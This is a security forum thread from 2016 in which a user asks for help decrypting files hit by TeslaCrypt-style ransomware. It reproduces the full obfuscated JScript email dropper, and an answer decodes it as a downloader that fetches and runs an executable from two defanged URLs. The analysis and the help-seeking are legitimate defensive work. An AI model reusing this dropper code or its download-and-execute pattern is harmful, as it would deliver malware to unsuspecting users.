0

I have a friend with PC which is infected with some sort of "RANSOMWARE" - a type of malware where will encrypt your files(images,videos and documents) and ask for payment for decryption.

I managed to take out the root processes of the virus(which encrypt and change all of document, images and video files to "*.micro" files) but recovering the infected data is a bit difficult and not much resources available online yet.

Here is the .js script file that triggers the malware:

var _base64Idx = [
/*43 -43 = 0*/
/*'+',  1,  2,  3,'/' */
62, -1, -1, -1, 63,

/*'0','1','2','3','4','5','6','7','8','9' */
52, 53, 54, 55, 56, 57, 58, 59, 60, 61,

/*15, 16, 17,'=', 19, 20, 21 */
-1, -1, -1, 64, -1, -1, -1,

/*65 - 43 = 22*/
/*'A','B','C','D','E','F','G','H','I','J','K','L','M', */
0,  1,  2,  3,  4,  5,  6,  7,  8,  9, 10, 11, 12,

/*'N','O','P','Q','R','S','T','U','V','W','X','Y','Z' */
13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25,

/*91 - 43 = 48 */
/*48, 49, 50, 51, 52, 53 */
-1, -1, -1, -1, -1, -1,

/*97 - 43 = 54*/
/*'a','b','c','d','e','f','g','h','i','j','k','l','m' */
26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38,

/*'n','o','p','q','r','s','t','u','v','w','x','y','z' */
39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51
];

function decode(input, output, offset) {
var out = output;
if(!out) {
    out = new Uint8Array(Math.ceil(input.length / 4) * 3);
}

// remove all non-base64 characters
input = input.replace(/[^A-Za-z0-9\+\/\=]/g, '');

offset = offset || 0;
var enc1, enc2, enc3, enc4;
var i = 0, j = offset;

while(i < input.length) {
    enc1 = _base64Idx[input.charCodeAt(i++) - 43];
    enc2 = _base64Idx[input.charCodeAt(i++) - 43];
    enc3 = _base64Idx[input.charCodeAt(i++) - 43];
    enc4 = _base64Idx[input.charCodeAt(i++) - 43];

    out[j++] = (enc1 << 2) | (enc2 >> 4);
    if(enc3 !== 64) {
        // decoded at least 2 bytes
        out[j++] = ((enc2 & 15) << 4) | (enc3 >> 2);
        if(enc4 !== 64) {
            // decoded 3 bytes
            out[j++] = ((enc3 & 3) << 6) | enc4;
        }
    }
}

// make sure result is the exact decoded length
return output ?
    (j - offset) :
    out.subarray(0, j);
}

var tEuosqyTkm = function (packedText) {

var buffer = [];
var length = decode(packedText, buffer);
var charCodeAt = "charCodeAt";
var result = "";
for (var i = 0; i < length; i++) {
    result += String.fromCharCode(buffer[i] ^ "bVE6YUkX3beIQAEG"[charCodeAt](i % "bVE6YUkX3beIQAEG".length));
}
return result;
};
var aideN66 = function() {
var vapidAuw = function() {};
vapidAuw.prototype.create = function(disapprobationQvY) {
    return WScript.CreateObject(disapprobationQvY);
};
return vapidAuw;
}();

(function() {
var nettlepkm = new aideN66();
var banterKA3 = 200;
var inspireRpB = tEuosqyTkm('"JRMR"');
var pallidK2I = tEuosqyTkm('"Jy4gVQ=="');
var sultryiRC = tEuosqyTkm('"NQUmRDAlH3ZgCgAlPQ=="');
var constrainedfQW = tEuosqyTkm('"LwUdexVnRQB+Li0dBRE="');
var interpolatevY1 = tEuosqyTkm('"BDx8AAg0ABdDMA=="');
var denouementpK3 = tEuosqyTkm('"KgcBcCwRER56Jw=="');
var gratisE9J = tEuosqyTkm('"CG4EQWAYCg90Lg=="');
var rangeuR2 = tEuosqyTkm('"Jz0LeGwnBWwFIw=="');
var broochIQm = tEuosqyTkm('"MzoheDZsKhddBQ=="');
var smatteringBY6 = tEuosqyTkm('"NhQQXwwiOABAVA=="');
var interminablecBc = tEuosqyTkm('"MzwOBioiPyJwLQ=="');
var sonorousmpK = tEuosqyTkm('"IxIKchs="');
var evidentzgN = tEuosqyTkm('"MSI3Uzg4"');
var convalesceWKQ = tEuosqyTkm('"RwIAewlwNw=="');
var justifyaTv = tEuosqyTkm('"TDM9Uw=="');
var cedeWsU = Math.pow(2, 10) * 249;
var foilgEV = [ tEuosqyTkm('"CiIxRmN6RDBWDgkmKC4wKQU7JFgoJEU7XA9Ke2dvID8H"'), tEuosqyTkm('"CiIxRmN6RDBWDgkmKC4wKQU7JFg/M0U7XA9Ke2dvID8H"') ];
var suavityzSi = 2097152;
var flagHQx = nettlepkm.create(sultryiRC);
var endemicfVU = nettlepkm.create(constrainedfQW);
var evidentv5F = nettlepkm.create(sonorousmpK + tEuosqyTkm('"TA=="') + evidentzgN);
var humbleM87 = flagHQx.ExpandEnvironmentStrings(convalesceWKQ);
var weltPvA = humbleM87 + suavityzSi + justifyaTv;
var roseatef1b = false;
for (var masticatehJi = 0; masticatehJi < foilgEV.length; masticatehJi++) {
    try {
        var invocationIOk = foilgEV[masticatehJi];
        endemicfVU.open(inspireRpB, invocationIOk, false);
        endemicfVU.send();
        if (endemicfVU.status == banterKA3) {
            try {
                evidentv5F.open();
                evidentv5F.type = 1;
                evidentv5F.write(endemicfVU[tEuosqyTkm('"EDM2RjY7GD1xDQEw"')]);
                if (evidentv5F.size > cedeWsU) {
                    masticatehJi = foilgEV.length;
                    evidentv5F.position = 0;
                    evidentv5F.saveToFile(weltPvA, 2);
                    roseatef1b = true;
                }
            } finally {
                evidentv5F.close();
            }
        }
    } catch (ignored) {}
}
if (roseatef1b) {
    flagHQx[pallidK2I](humbleM87 + Math.pow(2, 21));
}
})();

Anybody here can help me out on reverse engineering this script to decrypt/recover the encrypted files?

Thank you :)

P.S. FYI, this "ransomware" script circulating through emails as attachment since 9th of Feb 2016.

  • .micro indicates teslacrypt3. I don't believe there are any known weaknesses in the crypto of this version (unlike the prior version). – broadway Feb 11 '16 at 17:27
3

This is just a simple downloader script.

it will download and run an executable from

hxxp://helloyoungmanff.com/26.exe (link does not works)

hxxp://helloyoungmanqq.com/26.exe (link works)

VT URL

  • By 'this' ransom script he probably means a million like that being spammed out every day for the last few years :) – Sigtran Feb 11 '16 at 10:57
  • 1
    at least now he can tell his friend not to download it in the future :D – Sigtran Feb 11 '16 at 11:10
  • LOL. Sorry guys, it's an honest mistake :'D i mean is 2016. Thanks for pointing that out. I edited it though. Back to my problem, So it means this script totally cannot help anything to do the reversing? – G. Pacete Feb 12 '16 at 0:30

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.